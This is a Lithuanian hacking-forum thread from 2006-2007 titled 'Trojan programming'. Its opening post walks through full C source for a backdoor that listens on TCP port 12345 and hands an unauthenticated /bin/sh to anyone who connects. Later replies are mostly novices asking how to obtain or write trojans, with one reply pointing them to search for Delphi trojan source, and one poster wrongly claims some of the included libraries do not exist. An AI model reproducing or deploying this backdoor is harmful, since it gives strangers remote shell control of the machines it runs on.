Trojanų programavimas

Tvarkingos temos
Žinutė
Autorius
shellc0de
naujokas
naujokas
Pranešimai: 16
Užsiregistravo: 2006 06 16 15:46

Trojanų programavimas

#1 Standartinė shellc0de » 2006 06 16 16:04

Na kad visokie idiotai neknistų proto, pabandysiu pažvelgti į trojaną iš vidaus ( jo source code ) Nemanau kad visi čia esantys "hakeriai" viską supras, todėl jei kas neaišku klauskit :P
Taigi po trijų valandų terliojimosi su nano ir gcc pasaulį išvydo dar vienas trojanas skirtas nix sistemai, bet galima paleist ir ant windows :)Ką ??? PRADEDAM:
1. Surenkam reikalingus lib'us

Kodas: Pasirinkti visus

#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <strings.h>
2. Nurodom kokio porto klausys musu kurinys, ir koki shell'a jis paleis

Kodas: Pasirinkti visus

#define P 12345
#define SH "/bin/sh"
#define LISTN 5
3. Sukuriam main funkcija

Kodas: Pasirinkti visus

int main(int argc, char **argv)
3.1 I ja irasom pasveikinimo zinute

Kodas: Pasirinkti visus

char *fst = "\nConnected!\n\n";
char *sec = "This tool demonstrated how works trojans\n";
char *thr = "Please enter each command followed by ';'\n";
3.2 Surasom socketo kintamuosius

Kodas: Pasirinkti visus

int outsock, insock, sz;
struct sockaddr_in home;
struct sockaddr_in away;
3.3 Pati idomiausia dalis :) trojano smegenys

Kodas: Pasirinkti visus

home.sin_family=AF_INET;
home.sin_port=htons(P);
home.sin_addr.s_addr=INADDR_ANY;
bzero(&(home.sin_zero),8);

signal(SIGCHLD,SIG_IGN);


if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)
exit(printf("Socket error\n"));

if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0)) 
exit(printf("Bind error\n"));

if((listen(outsock,LISTN))<0) 
exit(printf("Listen error\n"));

sz=sizeof(struct sockaddr_in);


for(;;)
{
if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
exit(printf("Accept error"));
if(fork() !=0)
{
send(insock,fst,strlen(fst),0);
send(insock,sec,strlen(sec),0);
send(insock,thr,strlen(thr),0);
dup2(insock,0);
dup2(insock,1);
dup2(insock,2);
execl(SH,SH,(char *)0);
close(insock);
exit(0);
}
close(insock);
Stai pats paprasciausias trojanas, jei kas neaisku pm man ir paaiskinsiu ;) na aisku jei adminas manes iki tol neuzbanins.

Siuo metu as apsistojes ties rimtu trojanu rasymu, kai bus kas nors parasyta pateiksiu, laukit :D ir sekmes.

Kas sake kad lietuviai trojanu neraso ?

shellc0de 2006

mindaugas'
įtakingas
įtakingas
Pranešimai: 122
Užsiregistravo: 2006 06 20 11:22

o kai rasau in delphi tai kokiu item reikia rinktis trojana/

#2 Standartinė mindaugas' » 2006 06 21 15:00

pavyzdziui as nusikopijuoju trojana i kokiu item man reikia rinktis jei noriu ji kopijuoti in delphi, gal galit paaiskinti o gal ne nurodyti kaip ten ka daryti?

brain5ide
profesionalas
profesionalas
Pranešimai: 2030
Užsiregistravo: 2004 12 01 19:05

#3 Standartinė brain5ide » 2006 06 21 15:05

Jeigu kalbi apie šitą trojaną, tai jo su Delphi niekaip nesukompiliuosi. Čia C programavimo kalba parašytas trojanas.

Jeigu nori išmokti programuoti trojanus, pirma išmok apskritai programuoti.
Jeigu nori tik naudoti trojanus - ieškok, iš kur juos parsisiųsti.
Never argue with an idiot. They bring you down to their level and beat you with experience.

mindaugas'
įtakingas
įtakingas
Pranešimai: 122
Užsiregistravo: 2006 06 20 11:22

#4 Standartinė mindaugas' » 2006 06 21 15:11

o gal kas nors galetu ideti trojana delphi kalba?

brain5ide
profesionalas
profesionalas
Pranešimai: 2030
Užsiregistravo: 2004 12 01 19:05

#5 Standartinė brain5ide » 2006 06 21 15:28

Kokia Tau nauda iš to, kad kažkas įdės trojaną? Ką tu darysi su tuo Delphi kodu?
Never argue with an idiot. They bring you down to their level and beat you with experience.

mindaugas'
įtakingas
įtakingas
Pranešimai: 122
Užsiregistravo: 2006 06 20 11:22

#6 Standartinė mindaugas' » 2006 06 21 15:37

bandysiu isanalizuot

brain5ide
profesionalas
profesionalas
Pranešimai: 2030
Užsiregistravo: 2004 12 01 19:05

#7 Standartinė brain5ide » 2006 06 21 15:50

Na jeigu Delphi moki, gali bandyt. Pabandyk pasieškoti per Google: trojan Delphi source
Never argue with an idiot. They bring you down to their level and beat you with experience.

mindaugas'
įtakingas
įtakingas
Pranešimai: 122
Užsiregistravo: 2006 06 20 11:22

#8 Standartinė mindaugas' » 2006 06 21 16:03

thanks

Vartotojo avataras
as3mbler
nuolatinis dalyvis
nuolatinis dalyvis
Pranešimai: 42
Užsiregistravo: 2006 07 30 22:34

#9 Standartinė as3mbler » 2006 07 30 23:23

Klausyk, žmogau, esi girdėjęs apie tokį dalyką kaip autorių teisės? Paėmi velnias žino kiek metų senumo trojano sourcą, pakeiti komentarus ir prisiskiri nuopelnus sau? Gėdos turėtum :/
http://hakeriai.voras.lt/info/kaipveikiatro.txt
"Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like"
The Mentor

Vartotojo avataras
Maxer
jaunasis rašytojas
jaunasis rašytojas
Pranešimai: 52
Užsiregistravo: 2006 06 26 17:27

#10 Standartinė Maxer » 2006 09 22 12:08

Bet tai cia kaskos levas trojanas, nes normalus ant c\c++ kalbos trojanas uzima iki 10000 eiluciu.
Ir kaikurios is tu biblioteku net neegzistuoja.

Vartotojo avataras
_zaxtux_
nuolatinis dalyvis
nuolatinis dalyvis
Pranešimai: 27
Užsiregistravo: 2007 03 07 14:14

#11 Standartinė _zaxtux_ » 2007 03 08 19:43

o kokia kalba geriausia programuot trojanus ?

Vartotojo avataras
zigzag
rašytojas profesionalas
rašytojas profesionalas
Pranešimai: 495
Užsiregistravo: 2006 04 28 17:26
Miestas: siauliai

#12 Standartinė zigzag » 2007 03 08 20:06

tokia kokia moki

Vartotojo avataras
_zaxtux_
nuolatinis dalyvis
nuolatinis dalyvis
Pranešimai: 27
Užsiregistravo: 2007 03 07 14:14

#13 Standartinė _zaxtux_ » 2007 03 08 20:50

nu as kaip ir nelabai moku tik su turbo pascal truputi mokejau :oops: o kokia geriausia mokytis?

Vartotojo avataras
zigzag
rašytojas profesionalas
rašytojas profesionalas
Pranešimai: 495
Užsiregistravo: 2006 04 28 17:26
Miestas: siauliai

#14 Standartinė zigzag » 2007 03 08 21:16

tokia kokia patinka tokia ir mokinkis

Vartotojo avataras
_zaxtux_
nuolatinis dalyvis
nuolatinis dalyvis
Pranešimai: 27
Užsiregistravo: 2007 03 07 14:14

#15 Standartinė _zaxtux_ » 2007 03 09 08:14

tai kad as nelabai zinau kuo skiriasi jos viena nuo kitos gal kas galit patart

Skelbti atsakymą

Grįžti į

Dabar prisijungę

Vartotojai naršantys šį forumą: 1 ir 0 svečias(ių)